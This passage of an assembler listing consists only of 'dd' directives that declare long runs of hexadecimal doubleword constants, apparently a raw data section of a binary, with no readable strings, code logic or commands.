		dd 47F008FCh, 277CFC1h,	0A09542C6h, 0A480E45Dh,	94D78F97h
		dd 0DD521F05h, 0E4C5DB26h, 0F1F94D0Ch, 2F421244h, 8AA8381Ch
		dd 1B2B1CA0h, 0A56C8C12h, 0C295A448h, 0E448B0DEh, 5E4CF019h
		dd 9CC1DEE0h, 2BE58F57h, 0A10AB0C4h, 0DF60098Ch, 48630CBh
		dd 6F57EA10h, 0C6EC5150h, 0EED81000h, 0DD736620h, 22FF00BFh
		dd 139319AEh, 2F130AF1h, 4C09F36Dh, 0D12B00E5h,	0FC82594h
		dd 1778FD04h, 0B196BDC1h, 0FAE08157h, 923CEEBEh, 0A6AF1180h
		dd 0F7FE3225h, 7856761Eh, 1DC200FCh, 267CD443h,	0A3C000Bh
		dd 6DB38CD2h, 3900F0B8h, 859A1817h, 59D65Bh, 0CAEAE1ECh
		dd 3A9E441Eh, 0A8A33300h, 2B03A1B6h, 2EF2CCh, 80C58A79h
		dd 54761C11h, 912C7805h, 7FE9459h, 13865C43h, 0C0C15805h
		dd 7BC6807Eh, 4BF6B2E4h, 0FCCA0096h, 4A2E072Ch,	800C66ECh
		dd 11936B0Ch, 727901E8h, 29EB194h, 244EE54Bh, 36B05A78h
		dd 0ECB08A2Ch, 0AAF9923Dh, 0C358B841h, 79C01D12h, 7891B6h
		dd 1ADF341h, 29C083C1h,	0AE93A176h, 5CBF1B89h, 2ED8510Dh
		dd 1D013FCEh, 5605ED6Ah, 3470F4E3h, 19280092h, 0D2062D1Ch
		dd 0BA1F52E6h, 0AE000963h, 5424C082h, 1BC500F1h, 0FB2BD945h
		dd 0DF0055DAh, 79ECAEA6h, 0B82A9Dh, 6B282E4Ch, 6C703816h
		dd 1E0F8BE2h, 60A3ACCCh, 54B815Fh, 0DFB80077h, 34BC0316h
		dd 0A75BB19Eh, 0A29C6F0h, 49FFD211h, 7BE58084h,	3B08F7BBh
		dd 70369E00h, 983DBCECh, 23881216h, 0ACFE0004h,	6A96DF01h
		dd 1A0ABFB8h, 8C509954h, 0BFC416h, 4C1BAE49h, 490124F0h
		dd 3026BCCFh, 80249F9Ah, 0C4D65927h, 694A350Ah,	41D80FA0h
		dd 97DE0240h, 24986484h, 6FF2D203h, 0B462155h, 7AD66038h
		dd 40804D09h, 0AC693F5Eh, 17771A7Bh, 0DBD33Ah, 92E3A91Fh
		dd 484DCD22h, 0A700A8B6h, 1A519FBFh, 242C1E80h,	0D1C49460h
		dd 0B3D85B30h, 1B682218h, 301599h, 57AF47C9h, 0A023646Dh
		dd 5F56A617h, 0DF1F7403h, 0BA8AA0B4h, 1DD8008Eh, 0F78465D7h
		dd 1200A84Ch, 5146F216h, 1575879h, 88275F74h, 0D0556EACh
		dd 0AD2EFAB1h, 29009867h, 1F22E8B4h, 86AB00ECh,	6046805Ah
		dd 0A1CFA189h, 0D935C2D2h, 0FF946820h, 0E8F100B8h, 865F3F0Ah
		dd 972664AAh, 0EFC0CC39h, 0E62D20h, 80A725B1h, 1EC3152Fh
		dd 67856618h, 15E45E0h,	0D35F509Eh, 2490EC9Bh, 0F4E13768h
		dd 573D3B1Eh, 4D3EBE7Fh, 0BD8E091Ch, 703C4043h,	4D62017Ah
		dd 0E21CAE4Fh, 845429B4h, 7C30C986h, 0E30013D8h, 56ED9A37h
		dd 949FA79Eh, 0FBBD8224h, 365E3Ah, 5C163691h, 0BFB88ECCh
		dd 28332107h, 0EEB00C3Ah, 1DF7DF6Fh, 42E89488h,	6C0E4117h
		dd 3AEA6C48h, 5C538400h, 0D84F3837h, 0E5910712h, 5002186Bh
		dd 0E709EBBFh, 0D2214000h, 7E63FBFEh, 0A27B0057h, 41EE7C24h
		dd 500B81B9h, 9AA19h, 938C87DCh, 0D0555DD0h, 34231502h
		dd 0CCC7A279h, 0C00F496h, 7719DD9Bh, 1CE2F8C1h,	842F05h
		dd 0AA2893FCh, 981DDAABh, 60F1F2Ah, 2E4F516h, 78873F62h
		dd 80C38942h, 829445F2h, 47F23893h, 40BC17ACh, 0B48FC169h
		dd 7C1A8A00h, 0A11C9CEh, 21B7C45h, 6202C819h, 0D580DAD3h
		dd 0CA63CCEAh, 87C0DE00h, 70E5DB4Bh, 43E0008h, 0A0C18A7Ch
		dd 481CF74Ch, 6ECFB097h, 6093C07Bh, 213BD9h, 328A67Ch
		dd 4DD5F2AAh, 0B8E0EB00h, 9DD29F26h, 595B0080h,	934BE41Ah
		dd 3E18F4BDh, 0E9380894h, 0D15238A4h, 35F20E01h, 0F5BEF015h
		dd 84F1895Ah, 0BC4420BDh, 2DBEF9Bh, 2D4E3969h, 0A2633C87h
		dd 0F79EBDE0h, 0FAC2F90Ch, 305E4811h, 0BA40B570h, 0C00BDE7h
		dd 0AEF4FED6h, 808AB8h,	0D8069BDBh, 6D8F5654h, 521AEE00h
		dd 23D611B4h, 0E0AC0092h, 995194CBh, 2F00C39Ch,	6F2C46ECh
		dd 6ADC88h, 0A85B694Eh,	4310BD41h, 7B760C7h, 0B31D4A40h
		dd 48AF0014h, 1F47B419h, 0DC904FCCh, 35C56600h,	0FFB9CD1Bh
		dd 0A13B3A31h, 0BD61FD9Ch, 92BF2580h, 0FCAC2B7h, 55A75C1Dh
		dd 482D00F8h, 0E34EA6A5h, 0B062E2FBh, 0E597000Eh, 3F04CA50h
		dd 0F80024ECh, 5F25910Dh, 2DC49Ah, 15A2315Dh, 32CA777Dh
		dd 4BFDE000h, 0CCD14E62h, 3683007Ch, 6F0CCFF2h,	0F0045F8h
		dd 0E54A3B58h, 0E352DFh, 11EC3D78h, 4BD1E751h, 0E8684F60h
		dd 39DE9BEDh, 5609EB0Ch, 1C010182h, 3B59F2E0h, 9D301E0h
		dd 5A430319h, 6925E480h, 0E64C72F0h, 0B43F00F5h, 0BFEF0D8Eh
		dd 1835005Eh, 0D0C020B3h, 5439D6E5h, 0F100FD84h, 9877953Ah
		dd 94322Ch, 3E4EF61Ah, 0B630230Fh, 0D178D00h, 3CB2E5B7h
		dd 0C556008Fh, 16BF8247h, 0C97D7F59h, 4951CD00h, 9B76DA6Dh
		dd 3D32033Bh, 0BB637ACCh, 0AAF6C0B7h, 3300FEA7h, 0E7DD8FD3h
		dd 2E6BF60h, 0A361EFA5h, 0D860778Dh, 0B701BB84h, 349A6C1Dh
		dd 1BF4661Ch, 2B6400A2h, 8F069643h, 7800A5E2h, 0D2D8F40Eh
		dd 6FFC7Bh, 0C724BFF9h,	0E840FA51h, 0F21BB8FEh,	0D0544B7Ah
		dd 0FBD059Bh, 0C3873976h, 0C6E46BE0h, 24008848h, 85EFCED0h
		dd 4E4FC5h, 0EB4C6239h,	0B60DBA3Eh, 9F219200h, 0C367FC72h
		dd 53540032h, 632D6AA5h, 9502BDD1h, 0F13DC2B9h,	847009h
		dd 0F2A74AAh, 76CB8A11h, 6E5C7A00h, 17BBDC10h, 49030059h
		dd 9B440A7Bh, 9C00EB08h
		dd 0F682BC8Dh, 0A05A63h, 96F7BE22h, 1853944Ah, 0FA889212h
		dd 62BC0841h, 5920DE34h, 15611F46h, 40DB1C3Ch, 2A3EFCE3h
		dd 0A101E94Eh, 33F74D89h, 3CD4D99Ch, 21FF004Ch,	0CD5331B6h
		dd 88000DBFh, 0FC6F45CEh, 0D45DD2h, 0CAA79AF9h,	6AD06DB8h
		dd 4748370Bh, 0F6242016h, 0E47926h, 3ED72BCDh, 1BFB919Fh
		dd 0A9CCD200h, 87378BB1h, 6C4A010Fh, 2A142664h,	0C5B2ECBEh
		dd 576B6700h, 7A34CE1h,	0F0250669h, 98561F5Ch, 0ABBE3F00h
		dd 161474D6h, 0A1B5004Fh, 4DEC2901h, 0F8000792h, 792F8328h
		dd 302D8C6h, 0DB41A28Dh, 0E798F7A9h, 0DF0311BFh, 21F90E36h
		dd 3ED4F052h, 6A01004Ch, 505586C6h, 841F09B6h, 6E00738Bh
		dd 33FC71D6h, 80B0FF8h,	0B840D1E3h, 0B3C353CEh,	1FEC3800h
		dd 50D70F7Fh, 0BC07482Fh, 210A1501h, 0FB9D3F14h, 62EE72C8h
		dd 44EB8700h, 68F58843h, 0A20F07A1h, 9F59ED79h,	142C61E1h
		dd 187094F3h, 725003FCh, 0D832B005h, 15C1C0Dh, 1685C5FEh
		dd 0D403FFBDh, 5E002A69h, 87C40B0Fh, 4CE1AAB4h,	6A16966Ch
		dd 4E6400D1h, 0EC861D29h, 81DD5A03h, 0C8CDDF26h, 561BF3h
		dd 0FE57BF0Ch, 322DE17Bh, 0CC3DA6E2h, 7D3F00C7h, 7E83AB97h
		dd 3D7E8CDh, 41898E62h,	5CE0A993h, 0F00CC33h, 6F387A39h
		dd 1DDC09B5h, 3997458h,	66554C4h, 72944B98h, 566DDE00h
		dd 0B080908Ch, 0EE590044h, 0A5D91B73h, 6B1DCC57h, 390F2FA3h
		dd 64C426B4h, 0F51400C4h, 0BCB0A9C0h, 0DCB6E279h, 0B2421F00h
		dd 8B4B34h, 74DC6B75h, 0AA0849C3h, 6A3541Ch, 91CA8380h
		dd 1EA8A096h, 405D5598h, 0A1674560h, 3B0056B0h,	166A81D5h
		dd 0E21A48DDh, 0C947F649h, 0BC80E160h, 593196CCh, 9E08D0D9h
		dd 30C66FD0h, 6289170Fh, 3300393Dh, 6151A687h, 0F8DA9E5h
		dd 4550B6D6h, 360FED0Fh, 0AACB5DA0h, 3A0154CFh,	0D3E14106h
		dd 0D0F53CB5h, 53EC0AD1h, 62193A0Ch, 4BC56880h,	4A2AAE40h
		dd 3CC39h, 4959A99Ch, 0BA39A617h, 83E294h, 95AEE848h, 5A0EB16h
		dd 0D1C1F74Bh, 14400662h, 3170EB8h, 7DEC4CD3h, 0D1A34914h
		dd 15CD25A0h, 21364A1h,	9F410017h, 1B00F746h, 4F4EC377h
		dd 0E190D90h, 3853F248h, 160EA0C7h, 457B60DEh, 0A65FEC7Ah
		dd 203D046Ch, 3A00CEB1h, 91D83B5Ah, 72EB0Fh, 0D54F7713h
		dd 0A5AF11B0h, 1B6B7F00h, 0A6584E03h, 0E281E2Bh, 3E3AE412h
		dd 15805FBFh, 5D2349CFh, 1012E43Bh, 0E000EA53h,	0A79F1213h
		dd 0D6DF0058h, 2221E11h, 25099DD0h, 400E3DC3h, 105CCA4h
		dd 0A3B8B091h, 387DDF4Dh, 889C00A4h, 0E809A92Fh, 7C10F229h
		dd 0BAF21EA4h, 39163Dh,	91EEDA0Bh, 0C800D06Ch, 4BCF5DEDh
		dd 0FAD9BA7Fh, 7D7E6Dh,	96D26073h, 63E959ECh, 80F91F00h
		dd 71FCA1EFh, 53E264h, 7CCDBA69h, 8E45E3AEh, 622ED8B0h
		dd 9F05B802h, 806DB6h, 0E47469h, 96AC10DDh, 1F36D38Dh
		dd 0F20FB303h, 0B8E9545Ch, 0C14BB4Eh, 556EAF08h, 67002468h
		dd 9AEAFFF8h, 4E7FD79h,	72233EA1h, 997B8037h, 0AD3B7FD9h
		dd 56070D3h, 0F634B9A0h, 210E44Dh, 4AC7EB12h, 4C0088Ch
		dd 581C0C80h, 0A4D818BCh, 2E38931h, 921B6DC8h, 7FE27A33h
		dd 0A083F425h, 0C3131CC0h, 18816AFFh, 9AE091DAh, 9E4306AFh
		dd 38DFE9BBh, 552B22h, 34598F05h, 0BBD842B2h, 0EA00F7E4h
		dd 4C890429h, 2578075h,	144BA91Eh, 8287E6A3h, 0A349270Eh
		dd 98B0D8EFh, 75036751h, 0C9708A33h, 49C08D68h,	0F06423Bh
		dd 83022A04h, 7FC9C03Bh, 0E298EFD0h, 3A03107Bh,	22F76777h
		dd 0B254B812h, 2AB00014h, 0DF6D394Ch, 5013FEE8h, 988092F6h
		dd 99DB44h, 0AA886835h,	197D133h, 0B49F8C03h, 0D0F394DCh
		dd 3D0C8FE1h, 6080135Ah, 0E271135h, 0E254A157h,	361C708Ch
		dd 1E9776C3h, 0F4F0CB03h, 0F724F07Ah, 0DDD40098h, 8261719Fh
		dd 87002880h, 759E2659h, 52A2B40h, 7A082ED5h, 0BA860096h
		dd 0A8DC3BFCh, 3CC49949h, 5CA160D4h, 4AE99E6Ah,	9AD40E9Bh
		dd 0D46156A9h, 4D6A8096h, 8DF004B8h, 10EC001Dh,	0ED0A41A6h
		dd 45004B33h, 7829DF49h, 0BFD332h, 5346A0D5h, 0C1C06C74h
		dd 5A34892Ch, 0DF1A3503h, 93EC086h, 0D78F0041h,	7510AC37h
		dd 5B15E0D2h, 1F8D63Ch,	0D5F82A23h, 416C8907h, 33C69300h
		dd 439CEE5Ah, 63C16700h, 94F60622h, 1EF0000Eh, 269548BAh
		dd 210088D9h, 0ED025D83h, 1233DB8Bh, 74ACC30h, 3005D308h
		dd 9EEB7D0Dh, 2FBF8000h, 207A9C17h, 0E0550BF9h,	24111DF4h
		dd 49906006h, 7F2F3002h, 80A21B70h, 0F39D73AEh,	79C1002Dh
		dd 0E4CA5150h, 0DC0F80FEh, 604587F9h, 0B0DD74C0h, 378200BFh
		dd 0E30B6EFAh, 5E0053B3h, 39750E70h, 57CB48h, 3B91FCA0h
		dd 0D333834Ch, 0F6025B09h, 0D150768h, 0EC4AA850h, 0B37BCCh
		dd 0A69BFE18h, 6A13490Ah, 5C908E1Eh, 7187725Eh,	0C1C087ACh
		dd 2C748ACAh, 27B17048h, 8F16B800h, 4B1D6276h, 6DC0A835h
		dd 905F1779h, 0EA2902F4h, 0E565E0D4h, 4C00E070h, 22CE753Bh
		dd 1C4BD25Fh, 83233DECh, 32C67B28h, 0A1BDA7D8h,	831B5C03h
		dd 267172B0h, 0CF551E0h, 7CD0FF5Eh, 49F1D500h, 0A10934D2h
		dd 0FE9A0BAh, 0DA5709EEh, 95802F46h, 64F909Eh, 508DB80Ch
		dd 29485Eh, 0DE45AAFFh,	1E8E652Ch, 332DF50Eh, 46D7C0A4h
		dd 0BD0FA3h, 0CC0B8309h, 0CEF7D2FBh, 269FAA00h,	0F642A8C1h
		dd 3D8F0098h, 0ACDE62F8h, 910E062Eh, 835C9D47h,	0F75E77D0h
		dd 2F3822A9h, 0BF84E01Ch, 92D100EFh, 0C1EDB2D2h, 62007511h
		dd 2F1C873Eh, 1B3A87Ch,	0EC720E52h, 0CC9D5DE8h,	8101791Fh
		dd 51DE7543h, 24D43222h, 143018FCh, 0EB592195h,	0E764F100h
		dd 80BA8EC1h, 1961315h,	0B4A800CEh, 0EA2402A2h,	60F7E51Eh
		dd 0F5E716C0h, 9C8EA3h,	3B588272h, 0E42F50A5h, 0C16A3Ch
		dd 0AB6781D0h, 7D2A1Fh,	4825B7D5h, 41840FE1h, 0B90014B0h
		dd 5A58D20Bh, 0C9C7FDh,	0B5785906h, 0B0C35B79h,	0EBBAFB01h
		dd 0E3080C63h, 3FFD7820h, 40B0F631h, 783FC640h,	9C0DEA24h
		dd 8B2CCA01h, 24201E46h, 9B5E1661h, 0C6AC8301h,	0CEEF24F0h
		dd 15F99402h, 41950960h, 8AE0F4CDh, 41590149h, 0E9A4084Ch
		dd 0E0E0F9D1h, 76F4711Fh, 5007EDFCh, 3E242996h,	446B40DFh
		dd 1D50B8Ah, 0C35E6327h, 2038EFC9h, 49002984h, 0D7A4F8F4h
		dd 0E832BCFh, 504E2476h, 74B13CE0h, 5E00E35Ch, 0E6669216h
		dd 0AB81F9h, 5B2E28DDh,	98244FA4h, 597CC604h, 2183E5FBh
		dd 3AABA818h, 973E00CEh, 0E8585517h, 0DB03D4E2h, 46058034h
		dd 0ABD0F885h, 82A80E9Bh, 0C09F5C10h, 7B5891F3h, 1C371B2Bh
		dd 9787F623h, 0DCD07E10h, 7634F64Fh, 5CAE00F9h,	0EBC8E4FAh
		dd 9D0C9513h, 40F1BEEEh, 2836C05Dh, 0A9A57F39h,	92BD9E02h
		dd 0D04D8AB1h, 310F0F48h, 0D3C2607Ah, 0C2603C32h, 6D02856Ah
		dd 0D72283D9h, 0BD85841h, 0E798DC73h, 0DFBF7881h, 2C882010h
		dd 2F6E8300h, 4B9055A0h, 0BD28005Eh, 840276C4h,	0DA03DEAEh
		dd 7EA2413Ch, 0EF7D91D3h, 266075D4h, 6DCBA1h, 2C762308h
		dd 0B006DDCh, 0D94CC3BBh, 49A21h, 1C34FA81h, 3C13F530h
		dd 0CA382E00h, 0DCACE437h, 0B42C187Fh, 8A6B504Ch, 87BF1802h
		dd 50CF39EFh, 26C20000h, 0E6719411h, 8C00A425h,	68B7CCF9h
		dd 8BC3BEh, 8AB88531h, 0BFEF1A6Eh, 0EAE34C13h, 0D8D4E883h
		dd 48838CAh, 7CC9AF32h,	80C4A727h, 0E2F5ECA8h, 4A137CAEh
		dd 44842210h
		dd 1A0F3C04h, 0FC14259Dh, 0B980D541h, 51A9EF33h, 0A6008561h
		dd 6869996Bh, 117E37h, 0F86DDF08h, 4A2A4EF2h, 40340B00h
		dd 3816E5A1h, 0A0D7007Dh, 0FBCEF5DDh, 0E31DD4CCh, 0C500F08Dh
		dd 0F9617A1Ah, 8E680086h, 7D39AE6Fh, 621AB652h,	1438EDE4h
		dd 0CC62860h, 81960078h, 79DB7459h, 6128705Ah, 3E981407h
		dd 0F4442500h, 0A67134A0h, 0C76803E0h, 7C9350BDh, 4858CFE8h
		dd 0CB592501h, 0C09F834Ah, 0E62FC8h, 0F02EA138h, 6957674Dh
		dd 53738100h, 88113F29h, 4889000Ch, 642FAE8Bh, 28009634h
		dd 6E2666B6h, 0F4537C05h, 75A100CCh, 0C547FDA3h, 82009E3Eh
		dd 87F6B1D9h, 0B92B3C8h, 0F5EAD572h, 0E1DE6880h, 0BD002330h
		dd 0C0028C2Ah, 0FAAE78D9h, 0FC1E071Ah, 0A066906Ch, 946DDBD5h
		dd 0DCB26E2Dh, 4F520029h, 66AAD3BAh, 0FB3FB4F6h, 0C5608044h
		dd 64C21A29h, 6A26022Ch, 5367E77h, 0B705B478h, 28404F50h
		dd 0E4C1A440h, 0D9976F8h, 64CC59D9h, 80C0D196h,	0F8DF9F21h
		dd 0CA3B86h, 1F6A697Eh,	346B7FB8h, 7B82954h, 0B920C500h
		dd 54797BD9h, 4CDB0083h, 0F9327415h, 0A7FAC7B0h, 7DACCD00h
		dd 0B2161D73h, 0BA210029h, 447ACBE5h, 0DF24DEC6h, 0E840980Dh
		dd 76570C4Ah, 39A70761h, 46A9D749h, 8E0321DCh, 411E0ED4h
		dd 9DA90087h, 96898B55h, 460F06E3h, 0BD2D4014h,	0BCD06380h
		dd 0E262C7CCh, 0D11D0981h, 7400534Ah, 0F4ED8513h, 0A13A1813h
		dd 3028A0h, 21F976FFh, 0C203DA46h, 515D9C00h, 66E5A5BEh
		dd 41FC9643h, 0D482EB81h, 0C80023CFh, 27A191FDh, 7CAE4Bh
		dd 90F21356h, 0D41F8ECh, 5AD0A9C3h, 8EE898DEh, 0C10C0229h
		dd 7E914E3Dh, 0CA66BD60h, 0B49F9A18h, 9539A861h, 0AA904420h
		dd 5B0056B9h, 6D5C926Eh, 1F57D5h, 6F21CAE5h, 1EC27C61h
		dd 87B87000h, 9D3ECD6h,	0B99B2617h, 20042C80h, 1DE046B4h
		dd 61440C7Fh, 0B032A4ADh, 0C208D27h, 7387F206h,	1B4130B2h
		dd 23E696C9h, 0EE4D4603h, 0B09788E0h, 0F120A0h,	0DDBECB15h
		dd 0CA3CD977h, 67FB7613h, 0F2A00100h, 30E25239h, 1A49E4E9h
		dd 0B1008912h, 6721C590h, 1E01729h, 6E9AA853h, 740A2CBDh
		dd 0CCE152F0h, 0EDE15599h, 129C2D6Bh, 431FE5Bh,	64E47AE3h
		dd 204700D0h, 0D73D3380h, 7005676h, 0CBC51AF3h,	0E2142605h
		dd 2459C421h, 0E04F467h, 1937D530h, 0FBBF4DFCh,	639E5820h
		dd 4E3C884Ch, 78EA7904h, 0F4E2B9FCh, 0B3CD6385h, 44F8BC00h
		dd 0F300D73Eh, 1CA168D6h, 2B190Ch, 0D36AD16Ch, 0C559CCCDh
		dd 0F63EE8BEh, 0F4000C76h, 0A106BAE3h, 93A9A4h,	1CC15E4Ch
		dd 509C1505h, 4DE1BE03h, 0B0B20EB5h, 7262A9h, 885D35C5h
		dd 0D82C2394h, 927C0F00h, 0E99EDB1Ch, 0A1FF07D7h, 0F18E1447h
		dd 0C3B45B5Eh, 0A8E01592h, 29003EF4h, 0CAEF5863h, 9A16EBDh
		dd 0B9F582E7h, 503DF280h, 0BF001333h, 9881C7F0h, 0D46922h
		dd 0D6B4B0C6h, 91FCA754h, 820BC0B8h, 3E1838h, 255F271Ch
		dd 0B4F20396h, 0A8514724h, 95B57007h, 4310DB99h, 2E80A340h
		dd 0F45FF9h, 0D5BF1706h, 453B0298h, 58A5F1h, 0E23DF408h
		dd 22AA004Dh, 0F72441B1h, 8397E4A4h, 0D86EDD24h, 0AE2878h
		dd 0EFAAAB4h, 0E47408E3h, 0A700A49Eh, 0EE1FCEC7h, 625BFACFh
		dd 0AC859F1h, 93F0C56h,	0C0F231C6h, 0CE078h, 0A696AD95h
		dd 9C4136E5h, 0B4881D01h, 0F55A1507h, 0A64A2DCh, 0E894B781h
		dd 38305E0h, 1C77BC92h,	520E75AAh, 0A656806Dh, 0C7C04Bh
		dd 39F496FBh, 8F8A1E08h, 0CAD6F100h, 0C4177D7Fh, 0FB8D1E8Ch
		dd 0C0B8D684h, 30722E5Dh, 37E42107h, 79D0871Fh,	3D4D388h
		dd 4C0A11C3h, 75C0524Bh, 0EA00683Bh, 17AFCFBCh,	0F2C01FF6h
		dd 9C0400A4h, 0D08DCCD3h, 0A7FA8B42h, 2C826D00h, 0DD86F73Ah
		dd 7D020CE8h, 8CF8CBCFh, 0E1B75200h, 952DB9CAh,	65CD1C1Dh
		dd 0D82749ABh, 68F6A8E0h, 44A23E04h, 448039E7h,	58CBEBh
		dd 6CAE0706h, 0DD8EDB04h, 746B38h, 276F41C5h, 0C1FD0h
		dd 61D5B747h, 6AE66831h, 0CF4C7A12h, 9C9EE443h,	0B20A9808h
		dd 18C5FE43h, 986BF54Eh, 0DA008E15h, 0AEBE4626h, 2FA0E3h
		dd 37B3787h, 9C5B867Ah,	255AFA00h, 2C0523ABh, 0C54FCEh
		dd 95D24674h, 0BE00679Bh, 3EDAA0D1h, 629CF1h, 0F4DBDF0h
		dd 0FD1B9308h, 0DB61A428h, 809EDD04h, 18D03331h, 0EC7E58A5h
		dd 0F56D3FFAh, 0DB61F81h, 24FCA054h, 33008318h,	45FB7AFDh
		dd 9D0E4049h, 17604580h, 59EEEFC9h, 22C66A00h, 9CC4D397h
		dd 3F8F98DCh, 8613284Ch, 0DEA4F039h, 0AD73F1Dh,	0D0ECA005h
		dd 50426385h, 564C1D91h, 0AA2D0F64h, 9A932120h,	8258F148h
		dd 910B8074h, 0B5DFE8h,	14277916h, 0F8AD3D6Dh, 6C71C9E8h
		dd 32E64200h, 2F0D075Dh, 0FB9A1C66h, 973FC063h,	6239AF2Ch
		dd 0A0B1EE1Ch, 0A0CF990Eh, 89C2CD96h, 0E30B0021h, 0D34D65A4h
		dd 55000CFEh, 0D0EBA678h, 0EC691EF1h, 14B4075Ch, 0B01D2333h
		dd 9DBCB575h, 2CAA5E0Dh, 376040F1h, 0DE1B3FE4h,	18F87317h
		dd 271918ADh, 5B5F3000h, 40A08E78h, 977F009Fh, 12E5F08Ch
		dd 0DF02323Bh, 178B64FAh, 3A764034h, 9DB70077h,	36147658h
		dd 3B004961h, 2F4015B5h, 6B8FBh, 4AD32A2Dh, 0E46707ECh
		dd 0C213DC0Fh, 80E560A6h, 26EDFC99h, 89081B7Fh,	4052322Ch
		dd 4BDABF00h, 4C4121ECh, 128500A8h, 0CA5E9024h,	6060DE6h
		dd 2825A1ADh, 318700C0h, 8A513A7Ah, 0EA00495Bh,	0ECB4DFA6h
		dd 2C70487Bh, 803C802Eh, 0F75D6FCh, 83A3389h, 0E9968269h
		dd 81402AFEh, 1480FCF0h, 0BBD482F5h, 0B7EA85h, 5D3C720Fh
		dd 29DE2F79h, 0C4C4218h, 3ACF218h, 7F97D801h, 0FC798204h
		dd 2D4B5C92h, 7E9DE443h, 5EA83C5Dh, 7A61EF80h, 4A214C3Bh
		dd 0EDAA5205h, 98003076h, 7E5D0742h, 0A9350047h, 0F637957Bh
		dd 3839FE4Dh, 0C1688BA2h, 0DA6CC863h, 534648F4h, 2938340Eh
		dd 8F3F01A1h, 2C6320EAh, 874ED30Eh, 832B40EEh, 24133CB1h
		dd 0C00C8Bh, 5AA6AA74h,	9A00C7CEh, 7B267CC6h, 0DDA85Fh
		dd 38432534h, 1AEE22EFh, 54EB2F00h, 0BD6439B3h,	49760027h
		dd 0A1A7D0A2h, 0FB07023Ah, 2469BE59h, 7936C211h, 1F2EECD4h
		dd 41DBC87Ch, 0EAFC31C4h, 3A86F48Ch, 3D446300h,	582B9EF4h
		dd 0F2BA2D8Bh, 0B6FA2464h, 74AAC500h, 4BC0DF77h, 0B0879DA1h
		dd 0EBED4093h, 243D1CA3h, 167A00EFh, 0AEA46137h, 1FB90178h
		dd 0FD3009C8h, 0C64F3055h, 0DF4F410Fh, 8E0B801Eh, 122CBAFBh
		dd 877D93h, 0F409D18h, 100027D5h, 18E28F02h, 1A12372h
		dd 49CAA565h, 3A632DBBh, 4AAE06A0h, 0AA90831Ch,	0B088DEF3h
		dd 0AB0167EDh, 0D0A5CE95h, 7E818258h, 2D29E1FFh, 0CC3E311Ch
		dd 0B2006788h, 75F916DEh, 0FFF07Dh, 8CE36351h, 6223EB7Bh
		dd 0CC5D384Bh, 5D2A1EC0h, 121A91D0h, 0F063F67Ch, 9DE2A6F0h
		dd 6FABC31Ch, 80BB14AEh, 7BE049C9h, 3D4D93Fh, 889D138Bh
		dd 0A088F398h, 0FF136167h, 589021CCh, 1E46394Fh, 4EF5DDBCh
		dd 0CE89DCAEh, 511F2050h, 0C83EC059h, 0A1787898h, 462F4912h
		dd 0E71DA04Eh, 0AE111BECh, 0D6E016F9h, 7CD2757Ah, 20644E11h
		dd 4E616C30h, 98701A3Bh, 57488199h, 4B8947h, 0E4FBCC4Ah
		dd 9978CE9Ah, 0AC66C22h, 64286072h, 0BC302812h,	0C90EB0E5h
		dd 0F444002Bh, 0EBC04FC2h, 504C625Eh, 8B660D5Ah, 0FAF498ABh
		dd 3761Bh, 734874FDh, 21DB3F4Ah, 0B517A3Bh, 80E9D881h
		dd 124764CAh, 395F002Bh
		dd 17DA9EA3h, 0B53A92B2h, 0D2BA0940h, 3AE10079h, 5F7C220h
		dd 0F8E5DF5Eh, 1BBD830Ch, 601CBA90h, 9F110A1Eh,	10AE8A12h
		dd 0D30085C8h, 88653E58h, 207F37D2h, 95A66A01h,	0EFEBA2E6h
		dd 0F0F26EC8h, 0AE140781h, 0D0198652h, 447C8E88h, 465E4496h
		dd 1E4805DDh, 0B4409C3Bh, 0B0F133E2h, 4CEB0064h, 89CBBF7Fh
		dd 2000165Eh, 5DE58B75h, 10C6667h, 0E4150427h, 0C47665AEh
		dd 3C30B242h, 2A524998h, 0F2960016h, 51438DEEh,	0B3014B8Fh
		dd 97F070FFh, 408C0F64h, 0B4304F7Ah, 369E451Dh,	0E0B241F3h
		dd 31A490Fh, 0D515EC69h, 96A3ED7Bh, 0F48C2120h,	71226034h
		dd 7DB59FB7h, 1A62C200h, 8CA43025h, 0F3FE04A1h,	1A4E0C97h
		dd 993804F8h, 4A0F5E60h, 11611A23h, 369500A4h, 4621400Fh
		dd 0D45F1455h, 0A530A67Eh, 8AD5421h, 0A34A2700h, 0E821DDA1h
		dd 0E77D23h, 26503410h,	55A47EA0h, 84B2410Eh, 0B0B9383Ah
		dd 0F64B00EFh, 6B1EEB23h, 4307DF4h, 0D09A289Dh,	0EDB41FFDh
		dd 265D0553h, 0B7B40209h, 38796850h, 77F8E781h,	8918E199h
		dd 0A25540h, 1DF5F8DEh,	39C9D3BAh, 13B95060h, 6FB996Bh
		dd 0BC715572h, 0B3EE6852h, 1581CEh, 90AD8F3Ch, 49100706h
		dd 101416C1h, 0EA09582Fh, 6859D1A0h, 0B19E2A00h, 0D47EF0F3h
		dd 5EC0028h, 3E12CAC5h,	0E500FE11h, 4A41CCE9h, 7CAC4Bh
		dd 0F6C14004h, 19F01048h, 0D80EFC0Eh, 403D0F58h, 3A144732h
		dd 5B4A098Eh, 9C8325F0h, 0E1A0578Bh, 59EE0287h,	2FB5120Eh
		dd 5C03A06Eh, 16FA58h, 0EDF54265h, 84E628DDh, 0BAF4C01h
		dd 181F69B2h, 16C2BCE8h, 8DA3B8h, 0C87D8704h, 0AC003290h
		dd 0B652756Ch, 70A3CAAh, 0DE08819Bh, 0F27410CDh, 0AD00F059h
		dd 48277D0Eh, 6A18DDh, 2489839Ch, 0DAFB0565h, 0D6612B1Dh
		dd 9FCB3100h, 1E7FA7h, 0E27E5A63h, 0A945FF13h, 6661DC00h
		dd 650E3DC5h, 2D903ACAh, 0F295781Eh, 98808B11h,	0E717B322h
		dd 27E4CC19h, 21803108h, 0EDFE1B25h, 2318F039h,	93186BB0h
		dd 0E38C005Dh, 277597F1h, 6A604591h, 24EC4130h,	8508087Dh
		dd 5680BD20h, 3050E391h, 1E29DF93h, 0E93E8007h,	0E529648Fh
		dd 0D41EB200h, 0F7CA1D6Eh, 56DB44E6h, 49C0CCFEh, 5CF2FCF6h
		dd 6C6D2891h, 6744668h,	0B3F6FE85h, 5E688944h, 0FE0F2110h
		dd 574B400h, 50030BADh,	0A94900C1h, 5CB80A57h, 0B2614A56h
		dd 67C8F771h, 11BF8980h, 47A2B75Fh, 36BAAA03h, 394D91CDh
		dd 4A00E359h, 4F7BE1FBh, 0B00C0983h, 21369279h,	9BCB0027h
		dd 0B517FC47h, 7C00B23Bh, 0B1C2AD3Eh, 551D2Fh, 6631297Fh
